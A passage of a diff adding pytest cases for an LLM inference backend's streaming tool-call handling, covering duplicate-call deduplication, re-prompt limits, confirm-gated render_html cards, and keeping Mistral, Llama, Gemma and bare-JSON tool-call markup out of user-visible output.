+    # yield lists aren't compared verbatim: the tool path emits a pre-existing
+    # duplicate trailing event that the route's suffix-diff dedupes.)
+    assert tool_cumulatives[:3] == no_tool_cumulatives[:3]
+    # The contract that matters: identical route-level output.
+    tool_out = _replay_route_reasoning_extractor(tool_cumulatives)
+    no_tool_out = _replay_route_reasoning_extractor(no_tool_cumulatives)
+    assert tool_out == no_tool_out
+    # Pin the shared contract so a change to either path shows up here.
+    _visible, reasoning = tool_out
+    assert reasoning == "The capital of France is Paris."
+
+
+def test_reasoning_before_bare_json_tool_closes_think_block(monkeypatch):
+    # _drain_silently sibling of the structured-tool close: a bare-JSON tool call
+    # with a live reasoning prefix must also close </think> before draining, and
+    # must never leak the drained call text as content.
+    tool_stream = [
+        _sse({"reasoning_content": "Searching now."}),
+        _sse({"content": '{"name":"web_search","arguments":{"query":"weather"}}'}),
+        _done(),
+    ]
+    final_stream = [
+        _sse({"content": "It is sunny."}),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [tool_stream, final_stream], payloads)
+    _patch_monotonic(monkeypatch, [1.0, 2.0, 3.0, 4.0, 4.0])
+
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool", lambda name, arguments, **_kwargs: "sunny"
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "weather?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    tool_start_index = next(i for i, e in enumerate(events) if e["type"] == "tool_start")
+    content_before_tool = [e["text"] for e in events[:tool_start_index] if e["type"] == "content"]
+    assert content_before_tool[0] == "<think>Searching now."
+    assert content_before_tool[-1] == "<think>Searching now.</think>"
+    # The bare-JSON call text was drained, never surfaced as content.
+    assert not any('"name"' in t for t in content_before_tool)
+
 
 def test_consumed_tool_final_pass_emits_latest_reasoning_summary(monkeypatch):
     tool_stream = [
@@ -838,6 +1061,80 @@ def test_same_turn_duplicate_web_search_is_internal_noop(monkeypatch):
     ]
 
 
+def test_same_turn_duplicate_does_not_drop_later_parallel_call(monkeypatch):
+    # One batch: search(a), search(a) [duplicate], search(b). The duplicate is an
+    # internal no-op, but the distinct search(b) after it must still run, and the
+    # no-op nudge must land after the tool results rather than splitting them.
+    batch = [
+        _sse(
+            {
+                "tool_calls": [
+                    {
+                        "index": 0,
+                        "id": "call_a1",
+                        "type": "function",
+                        "function": {"name": "web_search", "arguments": json.dumps({"query": "a"})},
+                    },
+                    {
+                        "index": 1,
+                        "id": "call_a2",
+                        "type": "function",
+                        "function": {"name": "web_search", "arguments": json.dumps({"query": "a"})},
+                    },
+                    {
+                        "index": 2,
+                        "id": "call_b",
+                        "type": "function",
+                        "function": {"name": "web_search", "arguments": json.dumps({"query": "b"})},
+                    },
+                ]
+            }
+        ),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "Final answer."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [batch, final_stream], payloads)
+
+    calls: list[dict] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append(arguments)
+        return "search-result"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 3,
+        )
+    )
+
+    # Both distinct calls ran; the duplicate did not (old `break` dropped search(b)).
+    assert calls == [{"query": "a"}, {"query": "b"}]
+    assert [e.get("tool_call_id") for e in events if e.get("type") == "tool_end"] == [
+        "call_a1",
+        "call_b",
+    ]
+
+    # The next generation's conversation must be well-formed: the assistant lists
+    # only the executed calls (no orphan for the duplicate), the two tool results
+    # follow contiguously, and the no-op nudge lands after them, never between.
+    conv = payloads[1]["messages"]
+    asst = next(m for m in conv if m["role"] == "assistant" and m.get("tool_calls"))
+    assert [tc.get("id") for tc in asst["tool_calls"]] == ["call_a1", "call_b"]
+    after = conv[conv.index(asst) + 1 :]
+    assert [m["role"] for m in after[:2]] == ["tool", "tool"]
+    assert [m.get("tool_call_id") for m in after[:2]] == ["call_a1", "call_b"]
+    assert after[2]["role"] == "user"  # deferred duplicate nudge, after the results
+    assert after[2]["content"].startswith(
+        "One earlier request to call tool 'web_search' in this batch was not executed"
+    )
+    assert "previous tool request" not in after[2]["content"].lower()
+
+
 def test_same_turn_repeated_render_html_does_not_emit_second_provisional_start(monkeypatch):
     same_turn_render_calls = [
         _sse(
@@ -1036,9 +1333,11 @@ def test_render_html_success_does_not_reprompt_render_html_intent(monkeypatch):
 def test_internal_reprompt_attempts_do_not_duplicate_visible_text(monkeypatch):
     """No-tool re-prompt attempts should not concatenate into the UI."""
 
-    streams = [
-        [_sse({"content": "I will use render_html now."}), _done()],
-        [_sse({"content": "Understood. I will use render_html now."}), _done()],
+    # One initial response plus one stream per re-prompt; derive the count from the shared cap.
+    streams = [[_sse({"content": "I will use render_html now."}), _done()]]
+    streams += [
+        [_sse({"content": "Understood. I will use render_html now."}), _done()]
+        for _ in range(_MAX_REPROMPTS)
     ]
     payloads: list[dict] = []
     backend = _make_backend(monkeypatch, streams, payloads)
@@ -1073,7 +1372,7 @@ def test_internal_reprompt_attempts_do_not_duplicate_visible_text(monkeypatch):
 
     content_texts = [event.get("text", "") for event in events if event.get("type") == "content"]
     assert content_texts == ["I will use render_html now."]
-    assert len(payloads) == 2
+    assert len(payloads) == _MAX_REPROMPTS + 1
 
 
 def test_forced_reprompt_plain_final_answer_is_visible(monkeypatch):
@@ -1162,6 +1461,48 @@ def test_internal_reprompt_disabled_when_auto_heal_disabled(monkeypatch):
     assert len(payloads) == 1
 
 
+def test_internal_reprompt_disabled_when_nudge_tool_calls_false(monkeypatch):
+    # Explicit nudge_tool_calls=False disables the plan-without-action
+    # re-prompt even with Auto-Heal on (None keeps the default-on behavior).
+    streams = [[_sse({"content": "I will use render_html now."}), _done()]]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, streams, payloads)
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        raise AssertionError(f"unexpected tool execution: {name} {arguments}")
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    tools = [
+        {
+            "type": "function",
+            "function": {
+                "name": "render_html",
+                "description": "Render HTML.",
+                "parameters": {
+                    "type": "object",
+                    "properties": {"code": {"type": "string"}},
+                    "required": ["code"],
+                },
+            },
+        }
+    ]
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "Make a red square."}],
+            tools = tools,
+            max_tool_iterations = 1,
+            auto_heal_tool_calls = True,
+            nudge_tool_calls = False,
+        )
+    )
+
+    content_texts = [event.get("text", "") for event in events if event.get("type") == "content"]
+    assert content_texts == ["I will use render_html now."]
+    assert len(payloads) == 1
+
+
 def test_auto_heal_disabled_parses_well_formed_xml_when_tools_enabled(monkeypatch):
     streams = [
         [
@@ -1200,6 +1541,119 @@ def test_auto_heal_disabled_parses_well_formed_xml_when_tools_enabled(monkeypatc
     )
 
 
+def test_textual_mistral_marker_not_leaked_when_inline_with_preface(monkeypatch):
+    # Textual Mistral ``[TOOL_CALLS]`` inline with visible preface: the DRAINING flush must use the
+    # shared parser patterns (which know ``[TOOL_CALLS]``); the legacy set leaked the marker to clients.
+    streams = [
+        [_sse({"content": 'Let me search. [TOOL_CALLS]web_search{"query":"cats"}'}), _done()],
+        [_sse({"content": "done"}), _done()],
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, streams, payloads)
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "result"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "cats"})]
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("[TOOL_CALLS]" not in t for t in content_texts), content_texts
+    assert any("Let me search." in t for t in content_texts)
+
+
+def test_textual_explicit_id_reuses_provisional_card(monkeypatch):
+    # A textual Mistral-style call with an explicit ``id`` must reconcile onto the
+    # open provisional TEXT card (keyed "call_0"), not spawn a duplicate under the
+    # explicit id (which the parser keeps for execution).
+    big_query = "cats " * 80  # push the drained call past the provisional floor
+    call = "[TOOL_CALLS]" + json.dumps(
+        [{"name": "web_search", "arguments": {"query": big_query}, "id": "explicit-42"}]
+    )
+    assert len(call) > 256
+    # Small chunks so the provisional card opens mid-generation (a single-shot
+    # delta parses instantly and never shows a provisional to exercise).
+    chunks = [call[i : i + 24] for i in range(0, len(call), 24)]
+    streams = [
+        [_sse({"content": c}) for c in chunks] + [_done()],
+        [_sse({"content": "done"}), _done()],
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, streams, payloads)
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "result"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": big_query})]
+    tool_starts = [e for e in events if e.get("type") == "tool_start"]
+    # Empty-args card = provisional open; full-args card = reconciled real start.
+    provisional = [e for e in tool_starts if not e.get("arguments")]
+    real = [e for e in tool_starts if e.get("arguments", {}).get("query")]
+    assert len(provisional) == 1, tool_starts  # provisional actually opened
+    prov_id = provisional[0]["tool_call_id"]
+    # Exactly one real card, sharing the provisional id, not a duplicate under
+    # the explicit "explicit-42" id.
+    assert len(real) == 1, tool_starts
+    assert real[0]["tool_call_id"] == prov_id
+    assert real[0]["tool_name"] == "web_search"
+    assert {e["tool_call_id"] for e in tool_starts} == {prov_id}
+    # A single tool_end reconciles the card; no stale empty-result close.
+    ends = [e for e in events if e.get("type") == "tool_end"]
+    assert [e["tool_call_id"] for e in ends] == [prov_id]
+    assert ends[0]["result"] == "result"
+
+
+def test_textual_llama_python_tag_marker_not_leaked(monkeypatch):
+    # Same leak class for the Llama-3 built-in ``<|python_tag|>NAME.call(...)`` form.
+    streams = [
+        [_sse({"content": '<|python_tag|>web_search.call(query="cats")'}), _done()],
+        [_sse({"content": "done"}), _done()],
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, streams, payloads)
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "result"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "cats"})]
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("<|python_tag|>" not in t for t in content_texts), content_texts
+
+
 def test_reprompted_tool_call_still_streams_final_answer(monkeypatch):
     """Suppression ends once a forced re-prompt actually calls a tool."""
 
@@ -1499,6 +1953,39 @@ def test_large_python_tool_call_emits_early_provisional_start(monkeypatch):
     assert any(e.get("type") == "tool_end" and e.get("tool_name") == "python" for e in events)
 
 
+def test_auto_mode_render_html_suppresses_provisional_card_under_confirm(monkeypatch):
+    """render_html is no longer unconditionally safe (a networked canvas asks), so
+    with confirm_tool_calls set under permission_mode="auto" its early provisional
+    card is suppressed; the real full-argument tool_start still fires and a static
+    canvas runs without a prompt."""
+    args = {"code": "<html>" + "x" * 80 + "</html>"}
+    first_stream = _streamed_structured_tool_call("render_html", args, "call_rh")
+    final_stream = [_sse({"content": "Done."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", lambda name, arguments, **_k: "OK")
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "make a card"}],
+            tools = [{"type": "function", "function": {"name": "render_html"}}],
+            confirm_tool_calls = True,
+            permission_mode = "auto",
+            max_tool_iterations = 1,
+        )
+    )
+
+    tool_starts = [e for e in events if e.get("type") == "tool_start"]
+    provisional = [e for e in tool_starts if not e.get("arguments")]
+    # The confirm gate now suppresses the early provisional card for render_html.
+    assert provisional == [], tool_starts
+    real = [e for e in tool_starts if e.get("arguments")]
+    assert real and real[0]["tool_name"] == "render_html"
+    # A static canvas is classified safe, so it still runs without an approval gate.
+    assert real[0].get("awaiting_confirmation") in (False, None)
+
+
 def test_small_python_tool_call_has_no_provisional_start(monkeypatch):
     """A small tool-call argument finishes streaming instantly, so it keeps the
     existing behavior of a single (real) tool_start with no provisional card."""
@@ -1738,6 +2225,255 @@ def test_empty_tool_call_id_does_not_emit_provisional_card(monkeypatch):
     assert calls == [("python", {"code": big_code})]
 
 
+def _streamed_content(text: str, frag: int = 4) -> list[str]:
+    """Stream content token-by-token like llama-server; ``frag`` sets the chunk size."""
+    chunks = [_sse({"content": text[i : i + frag]}) for i in range(0, len(text), frag)]
+    chunks.append(_done())
+    return chunks
+
+
+def test_bare_json_tool_call_streamed_is_not_leaked_and_executes(monkeypatch):
+    """A wrapper-less bare-JSON call must be held while incomplete, drained silently, and executed with nothing leaking."""
+
+    bare_call = '{"name": "web_search", "parameters": {"query": "weather in Sydney"}}'
+    first_stream = _streamed_content(bare_call)
+    final_stream = [_sse({"content": "It is sunny in Sydney."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "Weather: sunny, 22C."
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "weather in Sydney?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    # The tool ran with the parsed arguments.
+    assert calls == [("web_search", {"query": "weather in Sydney"})]
+    assert any(
+        event.get("type") == "tool_end" and event.get("tool_name") == "web_search"
+        for event in events
+    )
+
+    # The bare JSON never leaked to the user-visible stream.
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all('"name"' not in t for t in content_texts), content_texts
+    assert all("web_search" not in t for t in content_texts), content_texts
+    # The post-tool synthesis is still streamed.
+    assert any("sunny in Sydney" in t for t in content_texts), content_texts
+
+
+def test_ordinary_json_with_name_key_is_shown_not_treated_as_tool_call(monkeypatch):
+    """Markerless JSON with a non-enabled name is the answer, not a phantom call."""
+
+    answer = '{"name": "Alice", "parameters": {"age": 30}}'
+    first_stream = _streamed_content(answer)
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda n, a, **_k: (calls.append((n, a)) or "x"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "give me a person record"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert any("Alice" in t for t in content_texts), content_texts
+
+
+def test_incomplete_bare_json_truncation_is_not_leaked(monkeypatch):
+    """If generation is cut off mid bare-JSON object (no closing brace), the held
+    fragment must be stripped at stream end rather than dumped to the user."""
+
+    truncated = '{"name": "web_search", "parameters": {"query": "weather in S'
+    stream = _streamed_content(truncated)
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("no complete call")),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "weather?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all('{"name"' not in t for t in content_texts), content_texts
+
+
+def test_gguf_truncated_ordinary_json_with_name_key_is_shown_not_suppressed(monkeypatch):
+    """A truncated markerless object whose "name" is NOT an enabled tool (a person
+    record cut off mid-stream, ``{"name":"Alice","age":``) must still be shown. The
+    end-of-stream ``_is_bare_tc`` heuristic routed any ``{...,"name",...}`` fragment
+    to DRAINING (dropped); it is now gated on the enabled tool names so only a real
+    truncated tool call is suppressed, ordinary JSON streams through."""
+
+    truncated = '{"name": "Alice", "age": 30, "bio": "loves '
+    stream = _streamed_content(truncated)
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda n, a, **_k: (calls.append((n, a)) or "x"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "start a person record"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert any("Alice" in t for t in content_texts), content_texts
+
+
+def test_gguf_truncated_disabled_name_json_is_preserved_when_tools_active(monkeypatch):
+    """A truncated JSON answer with a non-enabled name must still be shown (resolvers are gated on enabled names)."""
+
+    truncated = '{"name": "Alice", "parameters": {"age": 30'
+    stream = _streamed_content(truncated)
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda n, a, **_k: (calls.append((n, a)) or "x"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "give json"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert any("Alice" in t for t in content_texts), content_texts
+
+
+def test_gguf_truncated_enabled_name_json_is_still_suppressed(monkeypatch):
+    """Counterpart guard: a truncated ENABLED-tool bare call (``web_search``) cut off
+    mid-JSON still must NOT leak -- the gate only spares disabled / non-tool names."""
+
+    truncated = '{"name": "web_search", "parameters": {"query": "weather in S'
+    stream = _streamed_content(truncated)
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("no complete call")),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "weather?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("web_search" not in t for t in content_texts), content_texts
+    assert all('{"name"' not in t for t in content_texts), content_texts
+
+
+def test_gguf_oversized_disabled_name_json_is_preserved(monkeypatch):
+    """An oversized still-open JSON answer with a non-enabled name streams as content, not a phantom drain."""
+
+    cap = 16384
+    big = "A" * (cap + 5000)
+    answer = '{"name":"Alice","parameters":{"bio":"' + big  # never closes
+    first_stream = [_sse({"content": answer[i : i + 2000]}) for i in range(0, len(answer), 2000)]
+    first_stream.append(_done())
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda n, a, **_k: (calls.append((n, a)) or "x"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "long json"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert any("Alice" in t for t in content_texts), content_texts[:1]
+
+
+def test_gemma_wrapperless_call_streamed_is_not_leaked_and_executes(monkeypatch):
+    """Gemma 4 GGUF (skip_special_tokens) streams a wrapper-less ``call:NAME{..}``
+    with no XML signal. Like bare JSON, the BUFFERING scan must recognise it via
+    _GEMMA_BARE_TC_RE, drain it silently, and execute the tool -- never leaking
+    the ``call:`` markup to the user-visible stream."""
+
+    gemma_call = 'call:web_search{query:"weather in Sydney"}'
+    first_stream = _streamed_content(gemma_call)
+    final_stream = [_sse({"content": "It is sunny in Sydney."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "Weather: sunny, 22C."
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "weather in Sydney?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "weather in Sydney"})]
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("call:" not in t for t in content_texts), content_texts
+    assert any("sunny in Sydney" in t for t in content_texts), content_texts
+
+
 def _usage_done(usage: dict, finish_reason: str = "stop") -> str:
     """A terminal SSE chunk carrying llama-server's ``usage`` block, the way the
     real server reports it on the final chunk of a completion."""
@@ -1813,3 +2549,698 @@ def test_metadata_event_omits_prompt_tokens_details_when_absent(monkeypatch):
     metadata = [e for e in events if e.get("type") == "metadata"]
     assert metadata, "expected a metadata event"
     assert "prompt_tokens_details" not in metadata[-1]["usage"]
+
+
+def test_gguf_rehearsal_name_split_before_args_is_not_leaked(monkeypatch):
+    """Finding 6: a rehearsal call whose name (``web_search``) and ``[ARGS]{...}``
+    arrive in separate content deltas must hold the bare name in the buffer until
+    ``[ARGS]`` flips it to a drain. Without _is_rehearsal_prefix the GGUF path
+    streams the tool name as visible content before the call executes."""
+
+    first_stream = [
+        _sse({"content": "web_search"}),
+        _sse({"content": '[ARGS]{"query":"cats"}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "Found cats."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "result"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "cats"})], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("web_search" not in t for t in content_texts), content_texts
+    assert all("[ARGS]" not in t for t in content_texts), content_texts
+
+
+def test_gguf_initial_buffer_flush_holds_split_rehearsal_name(monkeypatch):
+    """The first flush out of BUFFERING (prose plus a trailing active-tool-name in
+    the first delta, ``[ARGS]{...}`` in the next) must apply the same trailing-name
+    hold the STREAMING branch uses. The first delta has spaces so it is not a
+    rehearsal prefix and falls to the initial flush, which previously emitted the
+    bare name before the call drained."""
+
+    first_stream = [
+        _sse({"content": "I will use web_search"}),
+        _sse({"content": '[ARGS]{"query":"cats"}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "Found cats."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "cats"})], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("web_search" not in t for t in content_texts), content_texts
+    assert all("[ARGS]" not in t for t in content_texts), content_texts
+
+
+def test_gguf_rehearsal_name_after_prose_in_streaming_is_not_leaked(monkeypatch):
+    """Finding 9: the BUFFERING guard only covers a rehearsal at the turn start.
+    When prose has already streamed (STREAMING state) and the model then emits the
+    tool name and ``[ARGS]{...}`` in later deltas, the bare name must still be held,
+    not flushed as visible content before the call drains."""
+
+    first_stream = [
+        _sse({"content": "Let me think. "}),
+        _sse({"content": "I will search "}),
+        _sse({"content": "web_search"}),
+        _sse({"content": '[ARGS]{"query":"cats"}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "Found cats."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "cats"})], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("web_search" not in t for t in content_texts), content_texts
+
+
+def test_gguf_plain_answer_ending_with_tool_name_word_is_preserved(monkeypatch):
+    """End-of-stream flush: a plain answer that ENDS on a tool-name word with no
+    ``[ARGS]`` following is real prose and must not be dropped by the streaming
+    rehearsal hold."""
+
+    first_stream = [
+        _sse({"content": "I think "}),
+        _sse({"content": "you should "}),
+        _sse({"content": "web_search"}),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "advise"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert any(t.rstrip().endswith("web_search") for t in content_texts), content_texts
+
+
+def test_gguf_long_tool_name_split_rehearsal_is_not_capped_and_executes(monkeypatch):
+    """Finding 11: a realistic MCP name longer than the 32-char buffer cap split as
+    NAME then [ARGS]{...} must still be held (a rehearsal prefix is self-bounding),
+    so the name does not leak and the call executes."""
+    name = "mcp__github__create_pull_request"
+    assert len(name) >= 32, len(name)
+
+    first_stream = [
+        _sse({"content": name}),
+        _sse({"content": '[ARGS]{"x":1}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "done"}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda n, a, **_k: (calls.append((n, a)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "go"}],
+            tools = [{"type": "function", "function": {"name": name}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [(name, {"x": 1})], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert not any(name in t for t in content_texts), content_texts
+
+
+def test_gguf_streaming_keeps_bare_args_before_think_block(monkeypatch):
+    """F4: the GGUF streaming strip must run its open-ended ``[ARGS]`` tail cleanup
+    only on the LAST segment. A bare ``foo[ARGS]`` (no JSON body, ``foo`` not a tool)
+    before a <think> block is prose, not a truncated call, so the final visible text
+    must keep it verbatim instead of dropping ``foo[ARGS]`` and corrupting the
+    sentence."""
+
+    first_stream = [
+        _sse({"content": "Please pass foo[ARGS] "}),
+        _sse({"content": "<think>pause</think> "}),
+        _sse({"content": "to the template."}),
+        _done(),
+    ]
+    backend = _make_backend(monkeypatch, [first_stream], [])
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "x"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert content_texts, events
+    assert content_texts[-1] == "Please pass foo[ARGS] <think>pause</think> to the template."
+
+
+def test_gguf_inactive_name_args_in_prose_is_not_drained(monkeypatch):
+    """BUG A: an inactive-name ``foo[ARGS]{...}`` in a prose answer must not be treated
+    as a tool call. The BUFFERING and end-of-stream safety-net ``[ARGS]`` checks gate on
